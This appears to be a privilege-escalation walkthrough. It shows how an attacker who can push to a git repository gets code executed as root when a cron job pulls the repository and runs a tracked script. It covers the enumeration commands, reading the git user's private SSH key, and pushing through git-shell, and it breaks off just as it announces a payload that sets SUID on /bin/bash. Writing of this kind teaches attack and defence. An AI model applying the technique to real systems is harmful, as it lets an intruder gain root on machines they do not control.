This attack occurs when a privileged user periodically synchronizes a local working tree with a GIT repository and subsequently executes a file from the updated working tree.
If an attacker can push changes to the trusted repository, they can modify the executed file without requiring direct write permissions over the privileged working tree.
The complete execution flow is:
The attacker pushes a malicious commit to a Git repository
A privileged scheduled task pulls the commit into another working tree
e.g. A CRON Job run as root
A second privileged task executes the modified file
The attacker’s code consequently runs with the privileges of the scheduled task
In this scenario, /git-server is a bare repository. A bare repository contains Git metadata directly in its root and does not have a checked-out working tree or a separate .git/ directory.
A restricted git-shell does not provide an interactive system shell. However, it intentionally allows the server-side Git commands required by operations such as clone, fetch and push:
git-upload-pack — Sends repository objects during clone and fetch operations
git-receive-pack — Receives objects and updates references during push operations
git-upload-archive — Provides remote Git archives
Therefore, escaping from git-shell is unnecessary. A valid SSH identity for the git user can be used directly by the Git client.
This technique does not abuse Git hooks. The attacker modifies a tracked file that a privileged process later pulls and executes.
Requirements
A privileged scheduled task must periodically update a working tree from a Git repository
A privileged process must subsequently execute a tracked file from that updated working tree
The attacker must be able to push commits to the branch used by the privileged working tree
The modified file must be executed after the malicious commit has been pulled
The attacker must control a repository identity with permission to update the relevant remote reference
Enumeration
Discovering Scheduled Tasks
First, we check the standard Cron configuration locations →
drwxr-xr-x 7 git git 4096 Oct 22 16:37 .drwxr-xr-x 18 root root 4096 Nov 10 2020 ..-rw-r--r-- 1 git git 23 Nov 5 2020 HEADdrwxr-xr-x 2 git git 4096 Nov 5 2020 branches-rw-r--r-- 1 git git 66 Nov 5 2020 config-rw-r--r-- 1 git git 73 Nov 5 2020 descriptiondrwxr-xr-x 2 git git 4096 Nov 5 2020 hooksdrwxr-xr-x 2 git git 4096 Nov 5 2020 infodrwxr-xr-x 24 git git 4096 Oct 22 16:37 objectsdrwxr-xr-x 4 git git 4096 Nov 5 2020 refs
The presence of HEAD, objects/, refs/ and config directly inside the directory indicates that it is a bare Git repository
Inspecting the Repository Contents
If the repository is readable, we can create a temporary read-only clone →
git clone 'file:///git-server' /tmp/git-recon
Inspect the checked-out files:
ls -la /tmp/git-recon
Command Output
drwxr-xr-x 3 dademola dademola 120 Oct 22 17:05 .drwxrwxrwt 9 root root 220 Oct 22 17:05 ..drwxr-xr-x 8 dademola dademola 260 Oct 22 17:05 .git-rw-r--r-- 1 dademola dademola 0 Oct 22 17:05 NEW_CHANGE-rw-r--r-- 1 dademola dademola 63 Oct 22 17:05 README-rwxr-xr-x 1 dademola dademola 77 Oct 22 17:05 backups.sh
The clone contains backups.sh, which matches the file executed by ROOT from /root/git-server/backups.sh.
Inspect its current content:
cat /tmp/git-recon/backups.sh
Command Output
#!/bin/bash<LEGITIMATE_COMMANDS>
Checking Repository Write Permissions
Check every component of the repository path:
namei -l /git-server
Check whether the current user can create files directly inside it:
test -w /git-server && echo 'Writable' || echo 'Not writable'
Command Output
Not writable
The repository and its objects are owned by git:git. Our current user can read and clone the repository but cannot directly modify its objects, references or hooks.
Discovering the Git User’s SSH Key
Inspect the Git user’s SSH directory:
namei -l /home/git/.sshls -la /home/git/.ssh
Command Output
drwx------ 2 git git 4096 Nov 10 2020 .drwxr-xr-x 4 git git 4096 Nov 10 2020 ..-rw------- 1 git git 1679 Nov 10 2020 id_rsa-rw-r--r-- 1 git git 395 Nov 10 2020 id_rsa.pub-rw------- 1 git git 395 Nov 10 2020 authorized_keys
Verify that the private key is readable:
test -r /home/git/.ssh/id_rsa &&
Command Output
Readable
A readable private key can be used only if its corresponding public key is trusted by the SSH service and the key is not protected by an unknown passphrase.
Inspecting the Git Login Shell
Attempting an interactive SSH connection as git lands in the restricted git-shell environment or is rejected:
fatal: Interactive git shell is not enabled.Connection to localhost closed.
This restriction does not prevent Git operations. Git communicates through explicitly permitted server-side commands instead of requiring an interactive shell.
origin ssh://git@localhost:<SSH_PORT>/git-server (fetch)origin ssh://git@localhost:<SSH_PORT>/git-server (push)masterOn branch masterYour branch is up to date with 'origin/master'.nothing to commit, working tree clean
Adding the Payload
Append a command that adds the SUID permission to /bin/bash: